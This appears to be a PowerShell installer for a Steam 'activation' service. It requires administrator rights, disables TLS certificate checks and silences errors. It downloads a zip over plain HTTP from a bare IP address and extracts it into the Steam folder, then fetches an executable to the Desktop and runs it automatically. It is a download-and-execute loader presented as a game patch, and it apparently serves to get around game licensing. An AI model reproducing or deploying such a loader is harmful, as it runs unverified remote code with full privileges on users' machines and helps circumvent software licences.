#Requires -RunAsAdministrator chcp 65001 > $null $ProgressPreference = 'SilentlyContinue' $ErrorActionPreference = 'SilentlyContinue' # ========== 全局TLS兼容 ========== [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls -bor [System.Net.SecurityProtocolType]::Tls11 -bor [System.Net.SecurityProtocolType]::Tls12 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} # ========== 配置区 ========== $ZipUrl = "http://47.100.104.45/files/patch.zip" $ActivatorUrl = "http://47.100.104.45/files/游戏激活程序.exe" $TempZip = "$env:TEMP\steam_patch.zip" $TempUnzip = "$env:TEMP\steam_patch_temp" $Desktop = [Environment]::GetFolderPath("Desktop") $ActivatorExeName = "游戏激活程序.exe" # ============================ # ===== 补丁安装逻辑 ===== $SteamRoot = $null if(Test-Path "HKCU:\Software\Valve\Steam"){ $regInfo = Get-ItemProperty "HKCU:\Software\Valve\Steam" if($regInfo.SteamPath -and (Test-Path "$($regInfo.SteamPath)\steam.exe")){ $SteamRoot = $regInfo.SteamPath.TrimEnd('\') } } if(-not $SteamRoot){ if(Test-Path "HKLM:\SOFTWARE\Wow6432Node\Valve\Steam"){ $regInfo = Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Valve\Steam" if($regInfo.InstallPath -and (Test-Path "$($regInfo.InstallPath)\steam.exe")){ $SteamRoot = $regInfo.InstallPath.TrimEnd('\') } } } if(-not $SteamRoot){ $diskArr = @("C:","D:","E:","F:") foreach($disk in $diskArr){ $path1 = "$disk\Program Files (x86)\Steam" if(Test-Path "$path1\steam.exe"){ $SteamRoot = $path1 break } $path2 = "$disk\Steam" if(Test-Path "$path2\steam.exe"){ $SteamRoot = $path2 break } } } if(-not $SteamRoot){ $steamProc = Get-Process steam -ErrorAction SilentlyContinue if($steamProc){ $exePath = $steamProc[0].Path $SteamRoot = Split-Path $exePath -Parent } } if(-not $SteamRoot -or -not (Test-Path "$SteamRoot\steam.exe")){ Write-Host "`n❌ ERROR: Cannot locate Steam folder" -ForegroundColor Red Start-Sleep 5 exit 1 } Get-Process steam,steamwebhelper,steamerrorreporter -ErrorAction SilentlyContinue | Stop-Process -Force Start-Sleep -Seconds 2 try{ $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($ZipUrl,$TempZip) }catch{ Write-Host "`n❌ ERROR: Patch download failed" -ForegroundColor Red Start-Sleep 5 exit 1 } if(Test-Path $TempUnzip){Remove-Item $TempUnzip -Recurse -Force} New-Item $TempUnzip -ItemType Directory -Force | Out-Null Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($TempZip,$TempUnzip) robocopy "$TempUnzip" "$SteamRoot" /E /IS /R:0 /W:0 /NP /NFL /NDL > $null 2>&1 # ===== 【新增】:不管 patch.zip 里是否包含,强制删除 steam.cfg ===== $cfgFullPath = Join-Path $SteamRoot "steam.cfg" if (Test-Path $cfgFullPath) { Remove-Item -Path $cfgFullPath -Force } Remove-Item $TempZip -Force Remove-Item $TempUnzip -Recurse -Force Write-Host "`n=====================================" -ForegroundColor Cyan Write-Host "✅ SUCCESS: All patches installed" -ForegroundColor Green Write-Host "=====================================`n" -ForegroundColor Cyan # ========== 下载最新版激活程序直接到桌面 ========== $activatorExePath = Join-Path $Desktop $ActivatorExeName try { $webClient.DownloadFile($ActivatorUrl, $activatorExePath) Write-Host "✅ 游戏激活程序.exe 已成功下载到桌面" -ForegroundColor Green } catch { try { Invoke-WebRequest -Uri $ActivatorUrl -OutFile $activatorExePath -UseBasicParsing -ErrorAction Stop } catch { Write-Host "❌ ERROR: 激活工具下载失败,请检查网络。如果持续失败,建议手动发送给客户。" -ForegroundColor Red Start-Sleep 3 } } # ========== 启动Steam + 等待主界面 + 自动弹出桌面 EXE ========== Start-Process "$SteamRoot\steam.exe" Write-Host "⏳ Steam已启动,【请登录Steam完成激活】..." -ForegroundColor Cyan $waitCounter = 0 while ($waitCounter -lt 30) { $winTitle = (Get-Process steam -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowTitle } | Select-Object -First 1).MainWindowTitle if ($winTitle -match "库|商店|Library|Store|社区|Community") { break } Start-Sleep -Milliseconds 500 $waitCounter++ } Start-Sleep -Seconds 1 if (Test-Path $activatorExePath) { Start-Process $activatorExePath } else { Write-Host "⚠️ WARNING: 激活工具不存在,请检查桌面" -ForegroundColor Yellow Start-Sleep 5 } Start-Sleep -Seconds 5 exit 0